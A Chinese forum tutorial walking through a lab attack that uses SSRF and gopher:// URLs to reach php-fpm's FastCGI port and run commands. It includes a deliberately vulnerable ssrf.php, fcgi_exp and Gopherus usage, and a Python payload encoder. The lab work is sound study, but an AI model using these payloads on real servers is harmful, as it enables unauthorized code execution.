用户
搜索
  • TA的每日心情
    开心
    5 天前
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    Rank: 2

    0

    主题

    2

    帖子

    123

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-8-6
    发表于 2020-9-3 22:39:19 37812
    本帖最后由 W4rnIn9 于 2020-9-3 22:49 编辑

    前言

    上篇文章在讲利用SSRF漏洞攻击内网的Redis的时候提到了Gopher协议,说到了这个协议作为SSRF漏洞利用中的万金油,可以用它来攻击内网的FTP、Telnet、Redis、Memcache、FastCGI等应用,那么这篇文章就来介绍一下FastCGI以及利用SSRF结合Gopher协议攻击FastCGI

    FastCGI

    维基百科的解释:快速通用网关接口Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。

    只通过这样简单两句话确实难以理解这是一个什么协议,下面是我通过阅读各种资料后对这个协议的理解

    众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。

    浏览器访问静态网页过程

    在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。

    Apache处理静态网页浏览.jpg

    浏览器访问动态网页过程

    当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。

    Apache处理动态网页浏览.jpg

    当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。

    这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。

    php-fpm

    了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

    也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

    php-fpm攻击实现原理

    想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

    而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

    那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

    环境搭建

    靶    机:  Ubuntu

    攻击机:   Kali

    这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx

    sudo apt-get install nginx

    安装php、php-fpm以及一些插件

    sudo apt-get install software-properties-common python-software-properties 
    sudo add-apt-repository ppa:ondrej/php          #这里容易卡死,解决方法使用代理
    sudo apt-get update
    sudo apt-get -y install php7.2
    sudo -y apt-get install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml  php7.2-intl 

    配置php-fpm

    修改配置监听9000端口来处理nginx的请求

    打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行

    ;listen = /run/php/php7.2-fpm.sock
    listen = 127.0.0.1:9000

    注意这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。

    下面修改权限

    chmod 777 /run/php/php7.2-fpm.sock

    打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置

    server {
        listen       80; #监听80端口,接收http请求
        server_name  www.example.com; #就是网站地址
        root /usr/local/etc/nginx/www/huxintong_admin; # 准备存放代码工程的路径
        #路由到网站根目录www.example.com时候的处理
        location / {
            index index.php; #跳转到www.example.com/index.php
            autoindex on;
        }  
        #当请求网站下php文件的时候,反向代理到php-fpm
        location ~ \.php$ {
            fastcgi_split_path_info ^(.+\.php)(/.+)$;
            fastcgi_pass 127.0.0.1:9000;#nginx fastcgi进程监听的IP地址和端口
            #fastcgi_pass unix:/run/php/php7.2-fpm.sock;
            fastcgi_index index.php;
            include fastcgi_params;
        }
    }

    启动环境

    配置完成后查看一下php-fpm的安装位置,然后启动

    whereis php-fpm
    /usr/sbin/php-fpm7.2                #这是我的靶机上php-fpm安装的位置

    重新启动Nginx

    sudo systemctl restart nginx

    然后检查nginx是否正确启动 systemctl status nginx

    image-1599144041189.png

    检查php-fpm是否正确启动 ps -elf | grep php-fpm

    image-1599144041156.png

    这里就可以看出上面所说的存在一个master进程和多个worker进程

    下面将/var/www/html/目录下的文件删除,新建一个index.php,内容可以写上<?php phpinfo(); ?>用来检查各项是否正常运行,如果页面为空,查看这篇文章解决
    image.png

    其中Sever API 处和上图一样说明运行正确,然后在目录下新建ssrf.php 内容为

     <?php
        highlight_file(__FILE__);
        $url = $_GET['url'];
        $curl = curl_init($url);    
        //第二种初始化curl的方式
        //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']); 
    
        /*进行curl配置*/
        curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
        $responseText = curl_exec($curl);
        //var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
    
        echo $responseText;
        curl_close($curl);
    ?> 

    该代码为一个ssrf漏洞的示例代码,可以访问/ssrf.php?url=http://www.baidu.com进行测试,下图为正常的结果

    image-1599144217494.png

    ssrf攻击FastCGI演示

    使用fcgi_exp攻击

    这里在已知其使用了php-fpm的情况下,我们可以先使用fcgi_exp测试是否可以直接攻击9000端口,这个工具主要是用来攻击未授权访问php-fpm的,所以一些地方需要自己写脚本转换一下payload,下面是使用方法

    该工具需要go语言环境,下载后进入目录

    go build fcgi_exp.go                    #编译fcgi_exp.go
    

    这里直接运行可以看到fcgi_exp的使用方法

    Usage:   ./fcgi_exp <cmd> <ip> <port> <file> [command]
             cmd: phpinfo, system, read
                  the SYSTEM cmd only affects PHP-FPM >= 5.3.3
             ip: Target ip to exploit with.
             port: Target port running php-fpm.
             file: File to read or execute.
             command: Command to execute by system. Must use with cmd 'system'.
    
    Example: ./fcgi_exp system 127.0.0.1 9000 /var/www/html/index.php "whoami"
             ./fcgi_exp phpinfo 127.0.0.1 9000 /var/www/html/index.php > phpinfo.html
             ./fcgi_exp read 127.0.0.1 9000 /etc/issue
    

    使用如下命令进行测试

    ./fcgi_exp system 192.168.233.138 9000 /var/www/html/index.php "id"
    

    在这里显然是不行的,因为在配置端口监听的时候,仅允许监听在127.0.0.1,所以说不能攻击成功,但是如果有的服务器在配置的时候将9000端口监听在公网上了,就可以用上面的方法进行测试。如果仅监听在本地,可以通过ssrf来攻击内部的9000端口。

    在攻击机上使用nc -lvvp 1234 > fcg_exp.txt监听1234 端口来接收payload,另外开启一个终端使用下面的命令发送payload

    ./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"
    

    注意这里攻击的端口是上面监听的端口,目的是将payload发送到这个端口,运行后可以使用Ctrl+C 来结束运行,现在就得到了一个fcg_exp.txt的文件,里面是获得的payload,可以使用xxd fcg_exp.txt查看其内容

    image-1599144041121.png

    文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码

    # -*- coding: UTF-8 -*-
    from urllib.parse import quote, unquote, urlencode
    
    file = open('fcg_exp.txt','r')
    payload = file.read()
    print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
    

    之后使用burp抓一个访问ssrf.php的包,将输出的内容放到?url=后面,然后这里需要再进行一次编码,因为这里curl会进行一次解码,gopher会再进行一次解码,这里直接用burp中的工具

    image-1599144041228.png

    编码之后直接Go就可以执行刚才设置的命令了

    image-1599144041411.png

    使用Gopherus攻击

    这个工具相比上一个更加方便一下,该工具能生成Gopher有效负载,用来利用ssrf获得RCE,下面利用这个工具来执行命令

    python gopherus.py --exploit fastcgi
    /var/www/html/index.php                 #这里输入的是一个已知存在的php文件
    whoami
    

    image-1599144041401.png

    获得payload,之后用同样的方法在burp Go一下(记得二次编码)

    image-1599144041383.png

    总结

    通过上面的演示,可以看到又一个ssrf结合其他漏洞形成重大影响的示例,其实总的来看整个攻击的过程并不复杂,但是这仅仅是通过文章呈现出来的一种错觉,其实在复现的过程中,还是会出现各种各样的问题的,比如说搭建整个环境,其实是尝试了很多种搭建方式之后才成功的,本来也想用一个镜像来复现,但是没有合适的,最后终于找到了一种简单的方法来安装nginx和php-fpm,再比如使用fcgi_exp攻击时写的脚本,其实是修改了很多次才成功的。所以说大家如果想真正理解和掌握这个漏洞,最好还是自己搭建环境尝试一下,通过搭建环境,学到的不仅仅是这个漏洞,还有这些环境的一些知识。

    参考

    https://blog.chaitin.cn/gopher-attack-surfaces/

    https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

    https://blog.csdn.net/feiniao8651/article/details/52768911

    https://xz.aliyun.com/t/6993

    https://damit5.com/2018/05/26/SSRF-%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/

    https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/


    来看看
    使用道具 举报 回复
    还不错
    使用道具 举报 回复
    可以,学习了
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册